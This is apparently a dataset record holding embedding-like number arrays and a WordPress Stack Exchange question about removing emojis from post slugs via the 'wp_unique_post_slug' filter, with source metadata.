-0.051055908203125, 0.006420135498046875, -0.041412353515625, 0.0029163360595703125, -0.0235748291015625, -0.0765380859375, -0.0088958740234375, 0.0251617431640625, -0.00861358642578125, 0.006320953369140625, -0.006259918212890625, -0.005016326904296875, 0.0136871337890625, 0.037109375, 0.005344390869140625, -0.0517578125, 0.07586669921875, -0.039642333984375, 0.022003173828125, 0.01763916015625, -0.023712158203125, 0.042938232421875, 0.06304931640625, 0.0242462158203125, -0.013885498046875, -0.00208282470703125, 0.01360321044921875, -0.01012420654296875, -0.0219879150390625, 0.002140045166015625, -0.004070281982421875, 0.022247314453125, 0.004360198974609375, 0.021484375, 0.0009899139404296875, 0.02154541015625, 0.017547607421875, -0.02996826171875, -0.005702972412109375, -0.0137786865234375, -0.041412353515625, -0.0283355712890625, -0.0202484130859375, 0.01136016845703125, -0.03753662109375, -0.0029430389404296875, 0.059814453125, 0.067626953125, 0.04058837890625, -0.0294036865234375, 0.0667724609375, 0.00403594970703125, 0.0224761962890625, 0.005279541015625, -0.0027523040771484375, -0.0251312255859375, -0.031951904296875, -0.01163482666015625, 0.0014772415161132812, 0.00946044921875, 0.0167083740234375, 0.033935546875, -0.006744384765625, -0.038787841796875, 0.0322265625, -0.02178955078125, 0.00917816162109375, 0.0072174072265625, 0.00771331787109375, 0.0012102127075195312, 0.019744873046875, -0.0228729248046875, 0.01678466796875, -0.011474609375, 0.0023250579833984375, -0.0102691650390625, -0.000850677490234375, -0.029815673828125, -0.036163330078125, 0.0047607421875, -0.0160064697265625, 0.0021610260009765625, 0.01384735107421875, 0.004833221435546875, -0.005779266357421875, -0.0306854248046875, -0.0264434814453125, -0.028472900390625, -0.032745361328125, 0.02288818359375, 0.0184173583984375, 0.034088134765625, -0.02215576171875, 0.0533447265625, 0.023834228515625, -0.0305023193359375, 0.026397705078125, 0.0021572113037109375, -0.06817626953125, 0.06134033203125, -0.0284423828125, 0.052581787109375, 0.025726318359375, -0.0036907196044921875, 0.01052093505859375, 0.0105133056640625, -0.06842041015625, 0.00464630126953125, -0.01409149169921875, 0.0081939697265625, 0.0014705657958984375, 0.01320648193359375, -0.01340484619140625, 0.0103759765625, -0.03009033203125, -0.0196990966796875, 0.011749267578125, 0.00193023681640625, -0.01186370849609375, -0.00555419921875, -0.017059326171875, 0.034637451171875, 0.028228759765625, -0.035491943359375, -0.01055145263671875, -0.03594970703125, 0.023712158203125, -0.043365478515625, -0.0703125, 0.034942626953125, 0.034149169921875, 0.052734375, 0.01434326171875, -0.0005788803100585938, 0.0226898193359375, -0.0247955322265625, 0.00876617431640625, 0.039886474609375, 0.07421875, -0.0017719268798828125, -0.01275634765625, -0.03814697265625, 0.0294189453125, 0.0501708984375, -0.144287109375, 0.00936126708984375, 0.019012451171875, 0.01537322998046875, -0.01322174072265625, 0.0145721435546875, 0.036346435546875, -0.006000518798828125, 0.005687713623046875, 0.00812530517578125, 0.0224761962890625, 0.001209259033203125, 0.0188140869140625, 0.0266571044921875, -0.0005540847778320312, -0.0399169921875, 0.0269927978515625, -0.01030731201171875, -0.0190277099609375, -0.00023543834686279297, 0.01033782958984375, 0.00708770751953125, 0.008209228515625, -0.03668212890625, 0.008941650390625, 0.014129638671875, -0.04248046875, 0.006511688232421875, -0.001590728759765625, -0.03857421875, 0.02362060546875, -0.01904296875, -0.009552001953125, -0.0244903564453125, 0.0625, -0.0224151611328125, 0.057769775390625, 0.045562744140625, -0.012786865234375, -0.0171966552734375, 0.0018291473388671875, 0.0056304931640625, -0.011260986328125, 0.005283355712890625, 0.050872802734375, 0.006011962890625, -0.045379638671875, -0.0007042884826660156, 0.027740478515625, 0.0187530517578125, -0.017578125, -0.00739288330078125, -0.01259613037109375, -0.00037860870361328125, -0.004367828369140625, -0.0682373046875, 0.030487060546875, 0.0333251953125, 0.01230621337890625, -0.026214599609375, 0.005096435546875, -0.000988006591796875, -0.014373779296875, 0.00904083251953125, 0.045989990234375, -0.05328369140625, 0.09027099609375, -0.0650634765625, 0.04400634765625, -0.057708740234375, 0.051177978515625, 0.04034423828125, -0.05926513671875, 0.01448822021484375, -0.006542205810546875, 0.00557708740234375, -0.00629425048828125, 0.02880859375, 0.0089874267578125, -0.041412353515625, -0.005344390869140625, 0.0011911392211914062, 0.0030879974365234375, -0.008056640625, 0.03131103515625, -0.0016946792602539062, 0.0128326416015625, 0.0125579833984375, 0.00485992431640625, -0.005035400390625, 0.0036983489990234375, -0.07061767578125, -0.0439453125, -0.0067901611328125, -0.048095703125, 0.0279693603515625, -0.0015468597412109375, -0.0156097412109375, -0.02685546875, -0.044952392578125, -0.04180908203125, -0.0810546875, -0.05389404296875, -0.004878997802734375, -0.007160186767578125, 0.00936126708984375, -0.0016651153564453125, 0.044525146484375, -0.004535675048828125, -0.032958984375, -0.0131683349609375, 0.001934051513671875, -0.006168365478515625, -0.0361328125, 0.012603759765625, -0.02008056640625, 0.01800537109375, 0.0004074573516845703, 0.0489501953125, 0.024810791015625, -0.038787841796875, -0.0003120899200439453, -0.047576904296875, -0.0011425018310546875, -0.04498291015625, -0.00200653076171875, 0.051605224609375, -0.027252197265625, -0.045867919921875, -0.0615234375, -0.027008056640625, 0.024383544921875, -0.0293426513671875, -0.04150390625, -0.0135650634765625, 0.00527191162109375, -0.0275421142578125, 0.0309295654296875, 0.0204620361328125, 0.0193023681640625, 0.045623779296875, 0.01727294921875, -0.0721435546875, -0.02191162109375, -0.03216552734375, -0.032257080078125, -0.00843048095703125, -0.0266876220703125, 0.0292510986328125, -0.01824951171875, 0.0276641845703125, -0.0131072998046875, 0.034912109375, -0.060882568359375, -0.06494140625, 0.06719970703125, 0.00522613525390625, -0.00009876489639282227, 0.00044155120849609375, -0.041015625, 0.040313720703125, 0.103515625, -0.0038509368896484375, -0.016265869140625, 0.01995849609375, 0.01033782958984375, -0.032623291015625, 0.0083465576171875, -0.041778564453125, -0.011199951171875, -0.030242919921875, 0.0160369873046875, 0.018951416015625, -0.0479736328125, -0.01473236083984375, 0.0100555419921875, -0.04400634765625, -0.011688232421875, 0.04681396484375, -0.07269287109375, 0.01515960693359375, 0.035552978515625, -0.028778076171875, 0.00879669189453125, -0.04217529296875, -0.043853759765625, -0.09869384765625, -0.0211944580078125, 0.023406982421875, 0.0701904296875, -0.01085662841796875, -0.0293426513671875, -0.01561737060546875, 0.060546875, 0.024017333984375, -0.01190948486328125, 0.06280517578125, 0.004795074462890625, 0.05133056640625, -0.0284576416015625, 0.050323486328125, -0.060455322265625, -0.001861572265625, 0.01276397705078125, -0.01364898681640625, 0.038848876953125, -0.01187896728515625, -0.033477783203125, 0.0181121826171875, -0.0323486328125, -0.0367431640625, -0.044952392578125, -0.043212890625, -0.015167236328125, -0.0213470458984375, -0.0107421875, -0.036865234375, -0.029998779296875, 0.02874755859375, -0.005283355712890625, -0.010650634765625, 0.021270751953125, 0.07269287109375, 0.0148162841796875, -0.0161285400390625, -0.043548583984375, -0.01267242431640625, 0.0189208984375, 0.0096435546875, 0.034881591796875, 0.0024585723876953125, -0.0154266357421875, 0.0626220703125, -0.0247650146484375, 0.007602691650390625, -0.0587158203125, 0.08917236328125, -0.031463623046875, -0.0139007568359375, 0.037445068359375, -0.04644775390625, 0.01806640625, 0.0022411346435546875, -0.038848876953125, 0.01306915283203125, -0.0180511474609375, 0.0301513671875, -0.036376953125, 0.04736328125, -0.0164794921875, 0.0152740478515625, -0.014373779296875, 0.00689697265625, 0.08404541015625, 0.038665771484375, -0.007122039794921875, 0.01076507568359375, 0.00801849365234375, -0.0038127899169921875, 0.024200439453125, -0.0212554931640625, -0.0038299560546875, 0.0261077880859375, 0.01702880859375, -0.00839996337890625, 0.038787841796875, 0.0093536376953125, 0.05426025390625, 0.004425048828125, -0.01529693603515625, -0.0276336669921875, -0.0389404296875, -0.01500701904296875, -0.009857177734375, 0.026763916015625, 0.0152130126953125, 0.012451171875, -0.03125, -0.0209503173828125, 0.0225830078125, -0.0012655258178710938, -0.05572509765625, 0.0015354156494140625, -0.01019287109375, -0.0106964111328125, -0.0140533447265625, 0.054779052734375, -0.051239013671875, 0.033721923828125, 0.004413604736328125, -0.005275726318359375, 0.00481414794921875, 0.0228424072265625, 0.0255889892578125, -0.005718231201171875, 0.011016845703125, -0.0218963623046875, 0.0173492431640625, -0.01068115234375, -0.0205230712890625, 0.0029964447021484375, 0.033935546875, -0.0006093978881835938, 0.007099151611328125, 0.0018529891967773438, -0.03216552734375, -0.01367950439453125, 0.02545166015625, -0.006732940673828125, -0.0243988037109375, -0.01125335693359375, 0.003086090087890625, 0.0079345703125, -0.011016845703125, 0.012725830078125, -0.01076507568359375, -0.0180816650390625, 0.003253936767578125, -0.00881195068359375, -0.011749267578125, -0.0157318115234375, -0.024169921875, -0.0211639404296875, 0.004764556884765625, 0.0132598876953125, -0.07183837890625, -0.055877685546875, -0.0012083053588867188, -0.00966644287109375, 0.036102294921875, -0.0341796875, 0.0107879638671875, -0.007083892822265625, 0.00406646728515625, -0.035888671875, 0.034820556640625, 0.0181121826171875, 0.0303497314453125, 0.00435638427734375, -0.02685546875, -0.042755126953125, -0.024749755859375, -0.04608154296875, -0.047607421875, -0.005924224853515625, 0.0034313201904296875, 0.0288238525390625, 0.03436279296875, -0.0249481201171875, -0.029998779296875, -0.00736236572265625, 0.026702880859375, 0.022705078125, 0.07623291015625, -0.0167694091796875, 0.041595458984375, -0.01617431640625, 0.052764892578125, 0.0024261474609375, 0.003021240234375, 0.0163116455078125, -0.0306396484375, -0.0192718505859375, -0.040283203125, -0.0226898193359375, -0.006778717041015625, 0.00550079345703125, 0.06646728515625, 0.058319091796875, -0.002475738525390625, 0.0231475830078125, -0.0362548828125, -0.018768310546875, -0.004474639892578125, 0.045989990234375, -0.026885986328125, 0.005138397216796875, 0.0307769775390625, -0.0310211181640625, -0.0019407272338867188, -0.0020580291748046875, 0.00689697265625, 0.00589752197265625, -0.0088958740234375, 0.021026611328125, 0.0107879638671875, -0.060089111328125, 0.058502197265625, 0.0572509765625, 0.009979248046875, 0.041412353515625, 0.020538330078125, 0.01849365234375, 0.0201873779296875, 0.0052337646484375, -0.01027679443359375, 0.0190277099609375, 0.05096435546875, 0.00453948974609375, -0.032684326171875, 0.018829345703125, -0.02215576171875, 0.01552581787109375, 0.035125732421875, 0.0303955078125, -0.0943603515625, 0.0263519287109375, -0.01227569580078125, -0.0008764266967773438, 0.0215911865234375, -0.01039886474609375, -0.0015306472778320312, -0.01287841796875, 0.04986572265625, -0.0228424072265625, -0.0201263427734375, 0.01226043701171875, -0.0066986083984375, -0.0251617431640625, -0.03546142578125, 0.01617431640625, 0.015045166015625, 0.02728271484375, 0.01837158203125, -0.0243377685546875, 0.01514434814453125, 0.028564453125, 0.01232147216796875, 0.0022411346435546875, -0.00499725341796875, -0.035491943359375, -0.00644683837890625, -0.062225341796875, -0.0229339599609375, 0.07427978515625, 0.00408935546875, 0.02264404296875, 0.049041748046875, -0.0117645263671875, 0.035675048828125, -0.0030956268310546875, 0.0062103271484375, -0.0008301734924316406, -0.031341552734375, -0.0195159912109375, -0.036407470703125, -0.013092041015625, 0.0032100677490234375, -0.0251312255859375, -0.03631591796875, -0.0207366943359375, 0.0156707763671875, 0.12359619140625, -0.04052734375, -0.0318603515625, 0.0296630859375, 0.01338958740234375, -0.027008056640625, -0.005779266357421875, 0.0321044921875, -0.06396484375, -0.030548095703125, 0.0229644775390625, -0.022308349609375, -0.036376953125, 0.010833740234375, -0.057342529296875, 0.09771728515625, 0.01441192626953125, 0.0017108917236328125, -0.02496337890625, 0.0594482421875, -0.03594970703125, 0.0181884765625, -0.0015611648559570312, 0.0260772705078125, 0.0220794677734375, 0.0036792755126953125, -0.034088134765625, -0.031494140625, -0.0164794921875, 0.06640625, 0.05035400390625, 0.0024242401123046875, -0.027496337890625, -0.0193328857421875, 0.017242431640625, 0.048309326171875, -0.0019207000732421875, 0.0299835205078125, 0.004886627197265625, -0.001224517822265625, -0.002681732177734375, -0.00015413761138916016, 0.038604736328125, -0.034423828125, -0.026947021484375, -0.0006480216979980469, -0.002960205078125, -0.004886627197265625, -0.034576416015625, 0.070068359375, 0.0194091796875, -0.04095458984375, -0.005466461181640625, -0.03973388671875, -0.0276947021484375, 0.049041748046875, -0.006984710693359375, 0.0117950439453125, -0.017974853515625, -0.0269012451171875, 0.031585693359375, 0.0011472702026367188, 0.024658203125, -0.01531219482421875, 0.01910400390625, -0.016876220703125, -0.0010890960693359375, 0.019134521484375, 0.0634765625, -0.07147216796875, 0.043731689453125, 0.0078277587890625, 0.007511138916015625, -0.046539306640625, 0.0184173583984375, 0.0124359130859375, 0.03765869140625, -0.041229248046875, -0.040374755859375, 0.0018739700317382812, -0.0145416259765625, 0.028167724609375, -0.035888671875, -0.012481689453125, -0.0146636962890625, 0.00258636474609375, -0.02166748046875, 0.00010341405868530273, -0.01119232177734375, 0.01514434814453125, -0.0171966552734375, -0.008026123046875, -0.00823211669921875, -0.0030498504638671875, -0.00937652587890625, -0.0165863037109375, 0.00860595703125, 0.0269317626953125, 0.032745361328125, 0.0018472671508789062, -0.01451873779296875, -0.00258636474609375, -0.034454345703125, 0.0090789794921875, -0.0211944580078125, 0.050323486328125, -0.044647216796875, -0.02886962890625, 0.027130126953125, 0.03814697265625, 0.0067291259765625, 0.035736083984375, 0.0175933837890625, 0.05072021484375, 0.049072265625, 0.0002243518829345703, 0.060943603515625, 0.00337982177734375, -0.01097869873046875, -0.043975830078125, 0.040252685546875, 0.048431396484375, 0.0119171142578125, -0.0018558502197265625, 0.01007080078125, 0.054931640625, 0.0262298583984375, 0.00551605224609375, 0.0113983154296875, -0.037811279296875, 0.037872314453125, 0.0202484130859375, 0.0877685546875, 0.0487060546875, -0.048492431640625, -0.017913818359375, -0.002483367919921875, -0.040496826171875, 0.01010894775390625, 0.0416259765625, -0.0310821533203125, 0.0254974365234375, 0.0200958251953125, -0.00397491455078125, 0.0118865966796875, -0.043365478515625, 0.058868408203125, 0.054840087890625, 0.0010061264038085938, 0.0379638671875, -0.08978271484375, -0.03411865234375, 0.005035400390625, 0.004833221435546875, -0.023101806640625, 0.0780029296875, 0.031768798828125, -0.0286102294921875, -0.00506591796875, -0.004344940185546875, 0.0198974609375, -0.0108795166015625, -0.002002716064453125, 0.059478759765625, 0.031219482421875, -0.025115966796875, -0.024993896484375, 0.0014190673828125, 0.04034423828125, -0.025390625, -0.0013885498046875, -0.01824951171875, 0.0186920166015625, -0.0130157470703125, 0.0059356689453125, -0.029876708984375, -0.037200927734375, -0.023468017578125, 0.00789642333984375, 0.007232666015625, 0.00833892822265625, -0.011444091796875, 0.053985595703125, 0.01073455810546875, 0.0338134765625, 0.01104736328125, -0.015899658203125, 0.01151275634765625, 0.0234222412109375, -0.035614013671875, -0.030853271484375, -0.0042877197265625, -0.0036983489990234375, 0.013885498046875, 0.00007236003875732422, 0.040191650390625, 0.043212890625, 0.002292633056640625, 0.012420654296875, 0.004810333251953125, 0.0299224853515625, -0.019805908203125, -0.01007843017578125, 0.0003819465637207031, -0.006183624267578125, -0.0004143714904785156, 0.06622314453125, -0.0092315673828125, -0.057159423828125, -0.01107025146484375, 0.0053558349609375, -0.037353515625, -0.004425048828125, -0.044525146484375, 0.019683837890625, 0.0159149169921875, -0.0029449462890625, -0.08074951171875, 0.06964111328125, -0.00731658935546875, 0.0226593017578125, -0.0242919921875, 0.01314544677734375, -0.000025987625122070312, 0.0345458984375, -0.038330078125, -0.01525115966796875, -0.0204010009765625, 0.001621246337890625, -0.025909423828125, 0.035675048828125, 0.0062408447265625, -0.03570556640625, 0.048828125, 0.0211181640625, 0.05279541015625, 0.0615234375, 0.0292510986328125, -0.0109710693359375, 0.0394287109375, 0.002658843994140625, -0.03375244140625, -0.0545654296875, 0.01216888427734375, -0.024383544921875, 0.0167083740234375, -0.019561767578125, 0.0244598388671875, 0.0218048095703125, -0.0294342041015625, -0.04071044921875, -0.00551605224609375, 0.00836181640625, -0.023681640625, -0.024658203125, 0.039886474609375, -0.0123138427734375, 0.00493621826171875, 0.0032405853271484375, -0.0206146240234375, 0.0241546630859375, 0.0190277099609375, -0.004253387451171875, 0.005035400390625, 0.027008056640625, 0.00028586387634277344, -0.016021728515625, -0.0149688720703125, -0.0164642333984375, -0.0184783935546875, -0.0204925537109375, -0.035736083984375, 0.01450347900390625, 0.00690460205078125, -0.048431396484375, -0.05401611328125, 0.00542449951171875, 0.039337158203125, 0.0165557861328125, -0.056488037109375, -0.024200439453125, -0.00890350341796875, 0.0399169921875, 0.045013427734375, 0.0228729248046875, -0.03790283203125, 0.0189208984375, -0.010345458984375, -0.0014162063598632812, 0.00339508056640625, -0.007259368896484375, -0.019317626953125, 0.01409912109375, -0.00019109249114990234, -0.0252838134765625, 0.007144927978515625, 0.018402099609375, -0.031341552734375, 0.01122283935546875, 0.0200347900390625, -0.0214385986328125, -0.07037353515625, 0.02545166015625, 0.05780029296875, -0.040679931640625, 0.00963592529296875, -0.0028514862060546875, -0.0028247833251953125, 0.03082275390625, -0.00598907470703125, -0.00873565673828125, 0.00504302978515625, -0.059967041015625, 0.026458740234375, -0.034881591796875, 0.07623291015625, -0.0650634765625, -0.01012420654296875, 0.003814697265625, -0.0026836395263671875, -0.016876220703125, -0.0233001708984375, -0.0037059783935546875, 0.03118896484375, -0.01468658447265625, 0.059112548828125, -0.0013427734375, 0.0103912353515625, -0.00521087646484375, 0.016571044921875, 0.0103759765625, -0.00865936279296875, 0.0369873046875, -0.0614013671875, 0.0017004013061523438, -0.004322052001953125, 0.0013017654418945312, -0.037353515625, -0.0011987686157226562, 0.0057373046875, -0.00228118896484375, 0.0149078369140625 ]
dbcc0dce2c0d3358fbebdc9d15fc777cc4511809
Wordpress Stackexchange Q: Best way of removing emoji support from url / slug only Couldn't find anything on the topic. I guess something could be done with the 'wp_unique_post_slug' filter but how would I go about just removing the emojis from the slug? I've tried all kinds of things with this filter but can't seem to remove only the emoji part whilst retaining the functionality of WP numbering the slugs ID-titlecount (or whatever it is) in case there's nothing left after non unicodes and emojis are stripped. Has anyone have happened to work with this and have a snippet handy? :)
Q: Best way of removing emoji support from url / slug only Couldn't find anything on the topic. I guess something could be done with the 'wp_unique_post_slug' filter but how would I go about just removing the emojis from the slug? I've tried all kinds of things with this filter but can't seem to remove only the emoji part whilst retaining the functionality of WP numbering the slugs ID-titlecount (or whatever it is) in case there's nothing left after non unicodes and emojis are stripped. Has anyone have happened to work with this and have a snippet handy? :)
wordpress
{ "language": "en", "length": 99, "provenance": "stackexchange_00019.jsonl.gz:486249", "question_score": "4", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/303764" }
[ 0.0682373046875, -0.002696990966796875, 0.0235595703125, 0.0270233154296875, 0.01551055908203125, -0.04107666015625, 0.079345703125, -0.04229736328125, 0.021820068359375, 0.0224761962890625, 0.025665283203125, -0.041778564453125, 0.0338134765625, -0.046173095703125, 0.0086212158203125, -0.007354736328125, 0.0069122314453125, 0.01398468017578125, 0.0234527587890625, -0.0160369873046875, -0.00316619873046875, -0.01384735107421875, 0.02862548828125, 0.00884246826171875, 0.0197906494140625, -0.05145263671875, 0.09002685546875, -0.05889892578125, 0.0159149169921875, -0.05218505859375, 0.0155792236328125, 0.033477783203125, -0.02630615234375, 0.0546875, -0.010498046875, -0.00579833984375, -0.03656005859375, 0.051727294921875, 0.02496337890625, -0.01102447509765625, 0.030731201171875, -0.00936126708984375, -0.0178680419921875, 0.004367828369140625, -0.01861572265625, -0.044036865234375, 0.025177001953125, -0.0264892578125, 0.0194549560546875, -0.0182037353515625, 0.001216888427734375, 0.03436279296875, 0.02313232421875, -0.0173797607421875, -0.016693115234375, -0.00909423828125, -0.0234527587890625, 0.0177764892578125, 0.023468017578125, 0.017364501953125, -0.0183868408203125, 0.0028285980224609375, -0.01800537109375, -0.025299072265625, 0.0181427001953125, -0.0307769775390625, -0.0458984375, 0.041961669921875, -0.00890350341796875, 0.0250244140625, 0.0145416259765625, -0.034393310546875, -0.0067596435546875, -0.048736572265625, -0.0214691162109375, 0.05609130859375, -0.047332763671875, -0.01404571533203125, 0.0391845703125, -0.0239410400390625, 0.0186767578125, -0.0002359151840209961, -0.038604736328125, 0.0028858184814453125, 0.02716064453125, 0.036407470703125, -0.001842498779296875, -0.037078857421875, -0.03179931640625, 0.0022373199462890625, -0.0196990966796875, 0.00576019287109375, -0.07373046875, 0.0692138671875, 0.0190887451171875, 0.033416748046875, 0.048370361328125, 0.0245513916015625, 0.0189666748046875, -0.036590576171875, 0.05206298828125, -0.071533203125, 0.008056640625, 0.0019378662109375, 0.00811004638671875, 0.0284271240234375, -0.01512908935546875, 0.0039825439453125, 0.037384033203125, 0.03204345703125, -0.01076507568359375, 0.007015228271484375, 0.0029354095458984375, -0.0236663818359375, -0.0210113525390625, 0.007450103759765625, -0.007022857666015625, -0.00728607177734375, -0.0064849853515625, -0.0191650390625, 0.00988006591796875, 0.030181884765625, 0.0013942718505859375, -0.049560546875, 0.002475738525390625, 0.01337432861328125, -0.0300140380859375, -0.043548583984375, 0.0438232421875, 0.0181121826171875, -0.054656982421875, -0.00018036365509033203, 0.07830810546875, 0.036407470703125, 0.0178070068359375, -0.0255889892578125, -0.038543701171875, 0.006267547607421875, -0.0177764892578125, 0.015869140625, 0.0040740966796875, -0.03350830078125, 0.0178070068359375, -0.0054779052734375, 0.0288238525390625, 0.006336212158203125, -0.0176239013671875, 0.017059326171875, 0.05072021484375, 0.01043701171875, -0.0049285888671875, -0.03363037109375, 0.02581787109375, -0.012664794921875, 0.05523681640625, -0.01181793212890625, 0.055511474609375, -0.0301513671875, -0.00902557373046875, -0.0114593505859375, -0.0204010009765625, -0.0217132568359375, 0.0172119140625, 0.004032135009765625, -0.038818359375, 0.0396728515625, 0.001689910888671875, -0.004146575927734375, 0.0038051605224609375, 0.01049041748046875, -0.018524169921875, -0.02130126953125, -0.0197296142578125, -0.0166015625, -0.0207366943359375, 0.0233154296875, 0.00904083251953125, 0.0275115966796875, -0.0011663436889648438, 0.07196044921875, 0.0330810546875, -0.044097900390625, 0.032440185546875, 0.002101898193359375, -0.07244873046875, 0.036102294921875, -0.004253387451171875, 0.051422119140625, 0.038330078125, -0.004047393798828125, 0.0570068359375, 0.002544403076171875, -0.0093536376953125, 0.0292816162109375, 0.01018524169921875, -0.030487060546875, -0.04022216796875, -0.0001443624496459961, -0.01800537109375, -0.041290283203125, -0.00435638427734375, 0.0308990478515625, -0.0221710205078125, 0.0038661956787109375, -0.05133056640625, 0.004329681396484375, -0.01184844970703125, 0.040679931640625, -0.032989501953125, 0.0146484375, 0.0166015625, -0.0117340087890625, -0.03759765625, 0.053436279296875, -0.003902435302734375, -0.0247344970703125, 0.0186767578125, -0.004673004150390625, -0.0146636962890625, 0.0211334228515625, -0.016998291015625, -0.006011962890625, -0.040924072265625, 0.0163116455078125, 0.050018310546875, -0.0218658447265625, -0.01727294921875, -0.048858642578125, 0.022491455078125, -0.0263671875, -0.036651611328125, 0.08099365234375, 0.0177154541015625, 0.033843994140625, -0.006916046142578125, 0.0165863037109375, 0.025146484375, -0.0284271240234375, -0.0004303455352783203, 0.0189056396484375, 0.04937744140625, 0.03729248046875, 0.0015134811401367188, -0.012969970703125, 0.0218963623046875, -0.05950927734375, 0.0181732177734375, -0.0229034423828125, -0.028350830078125, 0.037109375, 0.0265655517578125, 0.0042877197265625, -0.008758544921875, -0.0289764404296875, -0.0209808349609375, 0.018707275390625, -0.046142578125, -0.03741455078125, 0.00550079345703125, 0.024444580078125, 0.0094146728515625, -0.017059326171875, 0.0011262893676757812, -0.01271820068359375, -0.0174407958984375, -0.01355743408203125, 0.0119171142578125, 0.01331329345703125, 0.00850677490234375, -0.022247314453125, 0.01358795166015625, 0.01467132568359375, 0.00018906593322753906, 0.0716552734375, 0.020172119140625, -0.0116119384765625, -0.0234222412109375, -0.00844573974609375, -0.004974365234375, 0.033203125, -0.0067138671875, 0.04449462890625, 0.048126220703125, -0.01190185546875, -0.027801513671875, -0.015869140625, 0.0227813720703125, -0.0086669921875, 0.0020809173583984375, -0.0006103515625, 0.007190704345703125, 0.06512451171875, -0.006954193115234375, 0.038482666015625, 0.04241943359375, 0.005313873291015625, 0.01096343994140625, -0.059600830078125, 0.03973388671875, -0.027130126953125, 0.03375244140625, 0.0736083984375, 0.019134521484375, -0.006664276123046875, 0.015167236328125, -0.01371002197265625, 0.0016355514526367188, 0.00992584228515625, -0.0009636878967285156, 0.0064239501953125, -0.045196533203125, 0.0282745361328125, 0.006404876708984375, -0.005115509033203125, 0.0189208984375, -0.037017822265625, 0.030364990234375, -0.007843017578125, -0.046417236328125, -0.028533935546875, 0.0110015869140625, -0.0005059242248535156, -0.031768798828125, 0.044647216796875, -0.0162353515625, -0.01251983642578125, 0.07305908203125, -0.0183563232421875, -0.000762939453125, -0.052490234375, -0.036163330078125, -0.054168701171875, -0.035430908203125, 0.027923583984375, 0.01027679443359375, 0.01239776611328125, 0.007076263427734375, 0.018218994140625, -0.004085540771484375, -0.035614013671875, 0.0030574798583984375, 0.01140594482421875, -0.01146697998046875, 0.0128173828125, 0.0280914306640625, 0.006511688232421875, -0.01031494140625, 0.006000518798828125, 0.00811004638671875, 0.048309326171875, -0.054718017578125, -0.001895904541015625, -0.038330078125, 0.035125732421875, 0.005344390869140625, -0.02044677734375, 0.05352783203125, 0.03369140625, -0.008331298828125, -0.00963592529296875, -0.05029296875, -0.021270751953125, -0.042510986328125, 0.064208984375, -0.0016374588012695312, 0.02490234375, -0.025390625, 0.07989501953125, 0.0205841064453125, 0.018524169921875, 0.01091766357421875, -0.00487518310546875, 0.03631591796875, -0.005706787109375, 0.006534576416015625, -0.0218963623046875, 0.050750732421875, -0.0115509033203125, 0.033111572265625, 0.0260772705078125, 0.012298583984375, 0.005748748779296875, 0.01751708984375, -0.0205078125, 0.00628662109375, 0.045135498046875, 0.0364990234375, 0.0748291015625, 0.006763458251953125, -0.0457763671875, -0.01119232177734375, 0.08056640625, 0.01488494873046875, -0.0458984375, -0.00180816650390625, 0.0287017822265625, 0.0125274658203125, -0.03204345703125, 0.0440673828125, -0.040496826171875, -0.06719970703125, 0.01010894775390625, -0.0183868408203125, -0.007293701171875, -0.0214691162109375, 0.0321044921875, -0.0321044921875, -0.041046142578125, 0.030731201171875, -0.051605224609375, -0.0020732879638671875, 0.0199127197265625, -0.006717681884765625, -0.018951416015625, -0.0270843505859375, -0.03521728515625, -0.0266265869140625, -0.02093505859375, -0.007259368896484375, 0.04638671875, 0.01470184326171875, -0.033050537109375, -0.0241851806640625, 0.020263671875, -0.00983428955078125, -0.0048675537109375, 0.0007224082946777344, 0.00809478759765625, -0.0281982421875, 0.0186309814453125, -0.003025054931640625, -0.0259246826171875, 0.006252288818359375, 0.0128326416015625, -0.046142578125, -0.0029964447021484375, -0.0284271240234375, -0.006557464599609375, 0.020416259765625, -0.04632568359375, -0.01119232177734375, -0.0201416015625, -0.006145477294921875, 0.03204345703125, 0.0255889892578125, -0.021759033203125, -0.028411865234375, -0.0302886962890625, 0.044708251953125, 0.08428955078125, -0.0253753662109375, 0.003082275390625, 0.03271484375, 0.0093231201171875, -0.0496826171875, -0.053924560546875, -0.0012149810791015625, 0.037353515625, -0.00621795654296875, 0.0158233642578125, 0.0309600830078125, -0.0101470947265625, 0.03521728515625, 0.021087646484375, -0.0037059783935546875, -0.0126495361328125, 0.0296783447265625, 0.0099029541015625, -0.02386474609375, 0.036529541015625, 0.005420684814453125, 0.0207977294921875, 0.051666259765625, -0.002864837646484375, -0.01247406005859375, -0.027923583984375, 0.0455322265625, 0.0199737548828125, -0.04779052734375, -0.06170654296875, -0.08282470703125, 0.0313720703125, -0.033416748046875, 0.022918701171875, -0.016693115234375, 0.00460052490234375, 0.036895751953125, -0.0051116943359375, 0.0247802734375, -0.0574951171875, -0.02691650390625, -0.058502197265625, 0.041748046875, -0.046173095703125, 0.0113983154296875, 0.01055145263671875, -0.0014829635620117188, 0.06512451171875, 0.0164947509765625, -0.0164794921875, -0.040252685546875, -0.006717681884765625, 0.006565093994140625, -0.0187225341796875, -0.0039215087890625, 0.0213470458984375, 0.046112060546875, -0.00783538818359375, -0.006923675537109375, -0.034027099609375, 0.036285400390625, -0.065185546875, -0.0007734298706054688, -0.016448974609375, -0.01305389404296875, -0.0046844482421875, 0.05181884765625, -0.025848388671875, 0.052337646484375, -0.003681182861328125, -0.0072479248046875, -0.00666046142578125, 0.019744873046875, 0.0230865478515625, -0.0178070068359375, 0.01251220703125, -0.001567840576171875, 0.0179595947265625, 0.00867462158203125, -0.0136260986328125, 0.0118865966796875, -0.035400390625, -0.003757476806640625, 0.0110626220703125, 0.03009033203125, 0.019073486328125, -0.0130615234375, 0.005664825439453125, 0.0023746490478515625, -0.036895751953125, 0.021575927734375, 0.036041259765625, -0.01971435546875, -0.0183258056640625, -0.01082611083984375, -0.0207061767578125, -0.045379638671875, -0.0182647705078125, 0.040069580078125, -0.032012939453125, -0.01415252685546875, -0.0211334228515625, 0.00812530517578125, -0.012176513671875, -0.0018892288208007812, -0.056304931640625, -0.0265350341796875, -0.00434112548828125, 0.005146026611328125, 0.0201263427734375, 0.005901336669921875, 0.037078857421875, 0.006305694580078125, -0.0439453125, 0.0655517578125, 0.0090789794921875, 0.0460205078125, 0.0070343017578125, -0.03466796875, 0.0152740478515625, -0.0347900390625, -0.0171661376953125, -0.01042938232421875, -0.037567138671875, -0.05078125, -0.03216552734375, 0.03302001953125, 0.01204681396484375, 0.01349639892578125, 0.01302337646484375, -0.01496124267578125, 0.044677734375, 0.0288543701171875, 0.0997314453125, -0.042449951171875, 0.01064300537109375, 0.0311279296875, 0.00928497314453125, 0.0041351318359375, 0.001743316650390625, 0.051483154296875, 